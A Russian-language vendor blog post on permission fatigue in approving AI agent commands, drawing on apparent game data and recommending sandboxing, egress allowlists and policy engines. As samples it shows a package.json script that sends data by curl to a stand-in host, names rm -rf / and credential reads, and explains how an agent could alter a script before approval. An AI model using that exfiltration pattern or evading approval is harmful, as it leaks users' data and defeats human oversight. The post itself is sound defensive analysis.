Почему подтверждение команд AI Agent не защищает: выводы из 40 000 запусков

OdiRouter Team
Разработчик подтверждает опасную команду AI Agent из-за permission fatigue

Разрешить или отклонить? AI-агент хочет выполнить очередную команду, IDE показывает диалог, человек нажимает Approve. Формально контроль сохранён: последнее решение принимает пользователь. На практике после двадцатого запроса кнопка превращается в продолжение клавиши Enter.

Небольшая браузерная игра о permission fatigue собрала данные более чем по 40 000 сессий и 409 000 отдельных решений. Игроки должны были разрешать безопасные команды и блокировать опасные. Средний участник пропустил одну угрозу из трёх.

Это не лабораторное исследование production-команд и не точная оценка риска Claude Code, Codex или другого Agent. В игре угроз было значительно больше, чем в обычной работе, а решения принимались под таймером. Но данные хорошо показывают фундаментальную проблему Human-in-the-loop: человек не может быть надёжным последним барьером, если система постоянно просит его отличать норму от атаки по одной строке shell-команды.

Что показали 409 000 решений

Автор эксперимента опубликовал статистику игры после накопления достаточно большой выборки.

Показатель

Результат

Средняя точность обнаружения угроз

66,3% — примерно одна из трёх угроз пропущена

Сессии с отрицательным итогом

32,9%

Игроки, заметившие все угрозы

35,2%

Заметили все угрозы и заблокировали не более 20% безопасных команд

20,8%

Разрешили абсолютно все команды

7%

 

Последние две строки важнее средней точности. Можно остановить почти все атаки, блокируя всё подряд, но тогда Agent теряет смысл. Настоящая задача — одновременно не пропустить опасное действие и не превратить разработчика в ручной firewall.

Очевидное зло люди замечают. Обычные команды — нет

Категория

Пример

Доля пропущенных угроз

Очевидное разрушение

rm -rf /, изменение прав всей системы

11,7%

Постоянная модификация

Изменение crontab или Git-конфигурации

23,8%

Вывод данных и исполнение кода

Отправка данных неизвестному API, подменённый пакет

33,4%

Нарушение области доступа

Чтение AWS Credentials или kubeconfig

35%

 

Чем сильнее команда похожа на сцену из фильма о взломе, тем легче её остановить. Реальные цепочки атак выглядят привычно: прочитать конфигурацию, запустить npm script, установить пакет или обратиться к API.

Почему npm run оказался опаснее rm -rf

Самой часто пропускаемой угрозой стала команда npm run analyze: её разрешили 64,7% участников. Строка выглядит безопасно. Проблема в том, что она ничего не говорит о реальном действии.

"scripts": {
  "analyze": "webpack-bundle-analyzer stats.json | \
    curl -s -X POST https://unknown.example/report -d @-"
}

Пользователь подтверждает название script, но исполняется содержимое текущего package.json. До появления диалога Agent мог изменить этот файл, внедрить код в вызываемый модуль или заменить зависимость.

Риск принадлежит не строке команды. Он принадлежит состоянию среды в момент выполнения: какие файлы изменены, какие секреты доступны, куда разрешён исходящий трафик и что произойдёт после запуска.

Именно поэтому Allowlist из «безопасных команд» быстро становится ложной защитой. npm test, make build и даже запуск локального Python-файла могут выполнять произвольный код, если Agent ранее изменил их транзитивные зависимости.

Подтверждение без контекста — это просьба угадать

Чтобы принять разумное решение, разработчику нужно знать как минимум:

· кто создал или изменил исполняемый файл;

· какие изменения произошли после последней проверки;

· какие файлы и переменные окружения увидит процесс;

· есть ли у него сетевой доступ и к каким адресам;

· может ли команда изменить Git, инфраструктуру или внешний сервис;

· можно ли безопасно отменить результат.

Обычный диалог показывает только команду и краткое объяснение самого Agent. Получается, система передаёт решение человеку, но не передаёт достаточные данные для решения.

Обратная сторона осторожности: безопасные команды тоже блокируют

Игроки регулярно отклоняли нормальные действия:

· настройка внутреннего npm registry блокировалась в 59% случаев;

· удаление каталога сборки dist/ — в 45%;

· освобождение локального порта 3000 — в 43%.

Так появляется знакомый цикл. Чем больше ложных тревог, тем меньше внимания получает следующая. Чем меньше внимания, тем опаснее реальная угроза. Команда либо превращает Agent в медленный генератор подсказок, либо начинает нажимать Approve автоматически.

Почему Human-in-the-loop всё равно нужен

Вывод не состоит в том, что человека следует убрать. Человек плохо справляется с частыми низкоуровневыми решениями, но остаётся полезен там, где действие редкое, понятное и связано с бизнес-смыслом.

Сравните два вопроса:

· «Разрешить bash -lc npm run deploy?»

· «Развернуть версию 4f82a1 в production для 10% пользователей, используя изменения из трёх файлов и план отката X?»

Первый требует от человека самостоятельно восстановить последствия команды. Второй показывает намерение, область воздействия и способ отмены.

Подтверждать нужно транзакцию, а не shell

Безопасная Agent-система поднимает разрешения с уровня команды на уровень бизнес-действия.

Низкоуровневый запрос

Полезное подтверждение

git push origin main

Опубликовать commit X в ветку main; CI пройден; затронуты сервисы A и B

kubectl apply

Изменить Deployment checkout-api с 8 до 12 реплик в production

POST к платёжному API

Вернуть клиенту 4 900 ₽ по заказу N; операция необратима после подтверждения

Отправка письма

Отправить подготовленный текст двум внешним адресатам от имени сотрудника

 

Shell-команда остаётся в Trace, но пользователь принимает решение по смыслу.

Как должна выглядеть безопасная среда выполнения Agent

1. Deny by default

Agent получает только необходимые Capability. Новая сеть, каталог или инструмент недоступны до явного правила.

2. Изолированная файловая система

Рабочая копия проекта не должна автоматически давать доступ к домашнему каталогу, SSH-ключам, истории браузера и конфигурациям облаков.

3. Egress Allowlist

Если задаче нужны npm registry и GitHub, это не означает доступ ко всему интернету. Неизвестный домен должен блокироваться до отправки данных.

4. Секреты выдаются операции, а не модели

Agent не должен читать постоянный API-ключ. Credential Broker выдаёт краткоживущий Token с конкретным Scope непосредственно инструменту.

5. Tool вместо произвольного shell

Операцию «создать pull request» безопаснее представить типизированным Tool, чем разрешать модели собирать цепочку из shell, Git и HTTP.

6. Проверка изменённого состояния

Перед запуском build script среда должна учитывать diff файлов, хеш исполняемого кода и изменения зависимостей.

7. Ограничения времени и бюджета

Число шагов, процессов, сетевых запросов и Token должно иметь предел. Это сдерживает и ошибочный цикл, и намеренно дорогую инструкцию.

8. Полный Audit Trail

Trace связывает намерение, модель, Prompt, Tool Call, разрешения, изменённые файлы, сетевые адреса и результат. Одного лога чата недостаточно.

Пример политики Agent

agent:
  workspace:
    read: ["./"]
    write: ["./src", "./tests", "./tmp"]
    deny: ["~/.ssh", "~/.aws", "~/.kube"]

  network:
    allow:
      - "registry.npmjs.org"
      - "api.github.com"
    deny_unknown_hosts: true

  commands:
    allow: ["git status", "git diff", "npm test"]
    inspect_transitive_scripts: true

  approval:
    required_for:
      - "external_write"
      - "git_push"
      - "production_change"
      - "payment"

  limits:
    max_steps: 40
    max_runtime_minutes: 20
    max_external_requests: 25

Это иллюстрация, а не универсальный формат. Важен принцип: политика существует отдельно от System Prompt и применяется средой до исполнения действия.

Где здесь находится OdiRouter.ai

OdiRouter.ai объединяет доступ к моделям и инструменты для Agent-сценариев, включая безопасную среду выполнения. Единый модельный API позволяет сравнивать поведение разных LLM на одном наборе Tool Calls, не смешивая выбор модели с выдачей полномочий.

Разделение должно оставаться строгим:

· модель предлагает намерение и параметры;

· Policy Engine решает, допустимо ли действие;

· Sandbox ограничивает фактический доступ;

· человек подтверждает редкие высокорисковые транзакции;

· Audit Trail сохраняет всю цепочку.

Ни одна сильная модель не делает небезопасную среду безопасной. И наоборот, хороший Runtime позволяет тестировать разные модели без выдачи каждой из них полномочий пользователя.

Как проверить собственную систему

Eval разрешений должен включать не только очевидные команды.

1. Безопасная команда после вредоносного изменения script.

2. Чтение файла, который иногда содержит секреты.

3. Запрос к разрешённому API с данными из запрещённого источника.

4. Повтор необратимого Tool Call после Timeout.

5. Prompt Injection внутри README, Issue или результата поиска.

6. Попытка расширить Scope через дочерний процесс.

7. Серию из десятков безопасных запросов перед одной угрозой.

Последний сценарий особенно важен. Permission fatigue возникает не на одной команде, а в последовательности.

Какие метрики нужны

Метрика

Что показывает

Threat Miss Rate

Доля опасных действий, которые прошли

Safe Block Rate

Сколько нормальной работы было остановлено

Prompts per Session

Нагрузку на внимание пользователя

Auto-contained Actions

Сколько операций безопасно выполнил Runtime без человека

Approval Reversal Rate

Как часто решение позже признаётся ошибочным

Time to Understand

Сколько времени нужно, чтобы оценить последствия

 

Цель — не увеличить число подтверждений. Цель — сделать так, чтобы подтверждение появлялось редко и содержало достаточно информации.

Вывод

40 000 игровых сессий не доказывают, что разработчик обязательно пропустит каждую третью атаку в production. Они показывают более важное: Approval Dialog не превращается в защиту только потому, что в нём есть две кнопки.

Если система ежедневно задаёт десятки низкоуровневых вопросов, подтверждение становится ритуалом. Безопасность должна обеспечиваться раньше — Scope, Sandbox, сетевой политикой, изоляцией секретов и типизированными инструментами.

Человек должен решать, можно ли вернуть деньги, опубликовать код или изменить production. Он не должен в последний момент угадывать, что на самом деле скрывается за npm run analyze.

#AI Agent безопасность#Agent Runtime#Claude Code#Codex#OdiRouter.ai#Policy Engine#Tool Calling#coding agent#human-in-the-loop#permission fatigue#sandbox AI Agent#безопасность LLM#подтверждение команд#разрешения AI-агентов